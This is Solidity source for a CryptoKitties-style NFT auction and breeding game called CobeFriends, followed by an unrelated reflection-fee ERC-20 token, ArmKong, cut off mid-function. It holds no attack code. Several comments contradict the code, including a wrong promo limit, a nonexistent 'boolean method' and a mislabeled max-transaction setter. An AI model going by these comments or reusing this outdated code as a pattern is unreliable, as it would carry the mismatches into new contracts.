bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _nftAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
/// @param _cut - percent cut the owner takes on each auction, must be
/// between 0-10,000.
function ClockAuction(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
/// @dev Remove all Ether from the contract, which is the owner's cuts
/// as well as any Ether sent directly to the contract address.
/// Always transfers to the NFT contract, but can be called either by
/// the owner or the NFT contract.
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
// We are using this boolean method to make sure that even if one fails it will still work
nftAddress.transfer(this.balance);
}
/// @dev Creates and begins a new auction.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _startingPrice - Price of item (in wei) at beginning of auction.
/// @param _endingPrice - Price of item (in wei) at end of auction.
/// @param _duration - Length of time to move between starting
/// price and ending price (in seconds).
/// @param _seller - Seller, if not the message sender
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
whenNotPaused
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the auction struct.
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(msg.sender, _tokenId));
_escrow(msg.sender, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
/// @dev Bids on an open auction, completing the auction and transferring
/// ownership of the NFT if enough Ether is supplied.
/// @param _tokenId - ID of token to bid on.
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
// _bid will throw if the bid or funds transfer fails
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
/// @dev Cancels an auction that hasn't been won yet.
/// Returns the NFT to original owner.
/// @notice This is a state-modifying function that can
/// be called while the contract is paused.
/// @param _tokenId - ID of token on auction
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
/// @dev Cancels an auction when the contract is paused.
/// Only the owner may do this, and NFTs are returned to
/// the seller. This should only be used in emergencies.
/// @param _tokenId - ID of the NFT on auction to cancel.
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
/// @dev Returns auction info for an NFT on auction.
/// @param _tokenId - ID of NFT on auction.
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
/// @dev Returns the current price of an auction.
/// @param _tokenId - ID of the token price we are checking.
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
/// @title Clock auction modified for sale of CobeFriends
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract SaleClockAuction is ClockAuction {
// @dev Sanity check that allows us to ensure that we are pointing to the
// right auction in our setSaleAuctionAddress() call.
bool public isSaleClockAuction = true;
// Tracks last 5 sale price of gen0 CobeFriend sales
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
// Delegate constructor
function SaleClockAuction(address _nftAddr, uint256 _cut) public
ClockAuction(_nftAddr, _cut) {}
/// @dev Creates and begins a new auction.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _startingPrice - Price of item (in wei) at beginning of auction.
/// @param _endingPrice - Price of item (in wei) at end of auction.
/// @param _duration - Length of auction (in seconds).
/// @param _seller - Seller, if not the message sender
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the auction struct.
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
/// @dev Updates lastSalePrice if seller is the nft contract
/// Otherwise, works the same as default bid method.
function bid(uint256 _tokenId)
external
payable
{
// _bid verifies token ID size
address seller = tokenIdToAuction[_tokenId].seller;
uint256 price = _bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
// If not a gen0 auction, exit
if (seller == address(nonFungibleContract)) {
// Track gen0 sale prices
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
}
function averageGen0SalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastGen0SalePrices[i];
}
return sum / 5;
}
}
/// @title Handles creating auctions for sale and siring of CobeFriends.
/// This wrapper of ReverseAuction exists only so that users can create
/// auctions with only one transaction.
contract CobeFriendAuction is CobeFriendOwnership {
// @notice The auction contract variables are defined in CobeFriendBase to allow
// us to refer to them in CobeFriendOwnership to prevent accidental transfers.
// `saleAuction` refers to the auction for gen0 and p2p sale of CobeFriends.
// `siringAuction` refers to the auction for siring rights of CobeFriends.
/// @dev Sets the reference to the sale auction.
/// @param _address - Address of sale contract.
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isSaleClockAuction());
// Set the new contract address
saleAuction = candidateContract;
}
/// @dev Put a CobeFriend up for auction.
/// Does some ownership trickery to create auctions in one tx.
function createSaleAuction(
uint256 _CobeFriendId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
// Auction contract checks input sizes
// If CobeFriend is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(msg.sender, _CobeFriendId));
_approve(_CobeFriendId, saleAuction);
// Sale auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the CobeFriend.
saleAuction.createAuction(
_CobeFriendId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
/// @dev Transfers the balance of the sale auction contract
/// to the CobeFriendCore contract. We use two-step withdrawal to
/// prevent two transfer calls in the auction bid function.
function withdrawAuctionBalances() external onlyCLevel {
saleAuction.withdrawBalance();
}
}
/// @title all functions related to creating CobeFriends
contract CobeFriendMinting is CobeFriendAuction {
// Limits the number of cbfs the contract owner can ever create.
uint256 public constant DEFAULT_CREATION_LIMIT = 50000;
// Counts the number of cbfs the contract owner has created.
uint256 public defaultCreatedCount;
/// @dev we can create CobeFriends with different generations. Only callable by COO
/// @param _genes The encoded genes of the CobeFriend to be created, any value is accepted
/// @param _owner The future owner of the created CobeFriend. Default to contract COO
/// @param _time The birth time of CobeFriend
/// @param _cooldownIndex The cooldownIndex of CobeFriend
function createDefaultGen0CobeFriend(uint256 _genes, address _owner, uint256 _time, uint256 _cooldownIndex) external onlyCOO {
require(_time == uint256(uint64(_time)));
require(_cooldownIndex == uint256(uint16(_cooldownIndex)));
require(_time > 0);
require(_cooldownIndex >= 0 && _cooldownIndex <= 13);
address CobeFriendOwner = _owner;
if (CobeFriendOwner == address(0)) {
CobeFriendOwner = cooAddress;
}
require(defaultCreatedCount < DEFAULT_CREATION_LIMIT);
defaultCreatedCount++;
_createCobeFriendWithTime(0, 0, 0, _genes, CobeFriendOwner, _time, _cooldownIndex);
}
/// @dev we can create CobeFriends with different generations. Only callable by COO
/// @param _matronId The CobeFriend ID of the matron of this CobeFriend
/// @param _sireId The CobeFriend ID of the sire of this CobeFriend
/// @param _genes The encoded genes of the CobeFriend to be created, any value is accepted
/// @param _owner The future owner of the created CobeFriend. Default to contract COO
/// @param _time The birth time of CobeFriend
/// @param _cooldownIndex The cooldownIndex of CobeFriend
function createDefaultCobeFriend(uint256 _matronId, uint256 _sireId, uint256 _genes, address _owner, uint256 _time, uint256 _cooldownIndex) external onlyCOO {
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_time == uint256(uint64(_time)));
require(_cooldownIndex == uint256(uint16(_cooldownIndex)));
require(_time > 0);
require(_cooldownIndex >= 0 && _cooldownIndex <= 13);
address CobeFriendOwner = _owner;
if (CobeFriendOwner == address(0)) {
CobeFriendOwner = cooAddress;
}
require(_matronId > 0);
require(_sireId > 0);
// Grab a reference to the matron in storage.
CobeFriend storage matron = CobeFriends[_matronId];
// Grab a reference to the sire in storage.
CobeFriend storage sire = CobeFriends[_sireId];
// Determine the higher generation number of the two parents
uint16 parentGen = matron.generation;
if (sire.generation > matron.generation) {
parentGen = sire.generation;
}
_createCobeFriendWithTime(_matronId, _sireId, parentGen + 1, _genes, CobeFriendOwner, _time, _cooldownIndex);
}
}
/// @title CobeFriends: Collectible, breedable, and oh-so-adorable CobeFriends on the Ethereum blockchain.
/// @dev The main CobeFriends contract, keeps track of cbfs so they don't wander around and get lost.
contract CobeFriendCore is CobeFriendMinting {
/* contract CobeFriendCore { */
// This is the main CobeFriends contract. In order to keep our code seperated into logical sections,
// we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts
// that handle auctions and our super-top-secret genetic combination algorithm. The auctions are
// seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping
// them in their own contracts, we can upgrade them without disrupting the main contract that tracks
// CobeFriend ownership. The genetic combination algorithm is kept seperate so we can open-source all of
// the rest of our code without making it _too_ easy for folks to figure out how the genetics work.
// Don't worry, I'm sure someone will reverse engineer it soon enough!
//
// Secondly, we break the core contract into multiple files using inheritence, one for each major
// facet of functionality of CK. This allows us to keep related code bundled together while still
// avoiding a single giant file with everything in it. The breakdown is as follows:
//
// - CobeFriendBase: This is where we define the most fundamental code shared throughout the core
// functionality. This includes our main data storage, constants and data types, plus
// internal functions for managing these items.
//
// - CobeFriendAccessControl: This contract manages the various addresses and constraints for operations
// that can be executed only by specific roles. Namely CEO, CFO and COO.
//
// - CobeFriendOwnership: This provides the methods required for basic non-fungible token
// transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721).
//
// - CobeFriendBreeding: This file contains the methods necessary to breed CobeFriends together, including
// keeping track of siring offers, and relies on an external genetic combination contract.
//
// - CobeFriendAuctions: Here we have the public methods for auctioning or bidding on CobeFriends or siring
// services. The actual auction functionality is handled in two sibling contracts (one
// for sales and one for siring), while auction creation and bidding is mostly mediated
// through this facet of the core contract.
//
// - CobeFriendMinting: This final facet contains the functionality we use for creating new gen0 CobeFriends.
// We can make up to 5000 "promo" CobeFriends that can be given away (especially important when
// the community is new), and all others can only be created and then immediately put up
// for auction via an algorithmically determined starting price. Regardless of how they
// are created, there is a hard limit of 2400*12*12 gen0 CobeFriends. After that, it's all up to the
// community to breed, breed, breed!
// Set in case the core contract is broken and an upgrade is required
address public newContractAddress;
/// @notice Creates the main CobeFriends smart contract instance.
function CobeFriendCore() public {
// Starts paused.
paused = true;
// the creator of the contract is the initial CEO
ceoAddress = msg.sender;
// the creator of the contract is also the initial COO
cooAddress = msg.sender;
// start with the mythical CobeFriend 0 - so we don't have generation-0 parent issues
_createCobeFriend(0, 0, 0, uint256(-1), address(0));
}
/// @dev Used to mark the smart contract as upgraded, in case there is a serious
/// breaking bug. This method does nothing but keep track of the new contract and
/// emit a message indicating that the new address is set. It's up to clients of this
/// contract to update to the new contract address in that case. (This contract will
/// be paused indefinitely if such an upgrade takes place.)
/// @param _v2Address new address
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
// See README.md for updgrade plan
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
/// @notice No tipping!
/// @dev Reject all Ether from being sent here, unless it's from one of the
/// two auction contracts. (Hopefully, we can prevent user accidents.)
function() external payable {
require(
msg.sender == address(saleAuction)
);
}
/// @notice Returns all the relevant information about a specific CobeFriend.
/// @param _id The ID of the CobeFriend of interest.
function getCobeFriend(uint256 _id)
external
view
returns (
bool isGestating,
bool isReady,
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes
) {
CobeFriend storage cbf = CobeFriends[_id];
// if this variable is 0 then it's not gestating
isGestating = (cbf.siringWithId != 0);
isReady = (cbf.cooldownEndBlock <= block.number);
cooldownIndex = uint256(cbf.cooldownIndex);
nextActionAt = uint256(cbf.cooldownEndBlock);
siringWithId = uint256(cbf.siringWithId);
birthTime = uint256(cbf.birthTime);
matronId = uint256(cbf.matronId);
sireId = uint256(cbf.sireId);
generation = uint256(cbf.generation);
genes = cbf.genes;
}
/// @dev Override unpause so it requires all external contract addresses
/// to be set before contract can be unpaused. Also, we can't have
/// newContractAddress set either, because then the contract was upgraded.
/// @notice This is public rather than external so we can call super.unpause
/// without using an expensive CALL.
function unpause() public onlyCEO whenPaused {
require(saleAuction != address(0));
require(newContractAddress == address(0));
// Actually unpause the contract.
super.unpause();
}
// @dev Allows the CFO to capture the balance available to the contract.
function withdrawBalance() external onlyCFO {
uint256 balance = this.balance;
cfoAddress.transfer(balance);
}
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|
// Website: https://armkong.org/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ArmKong is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Arm Kong 🦍';
string private _symbol = 'ArmKong🦍';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10 * 10**9 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = maxTxPercent * 10**9;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
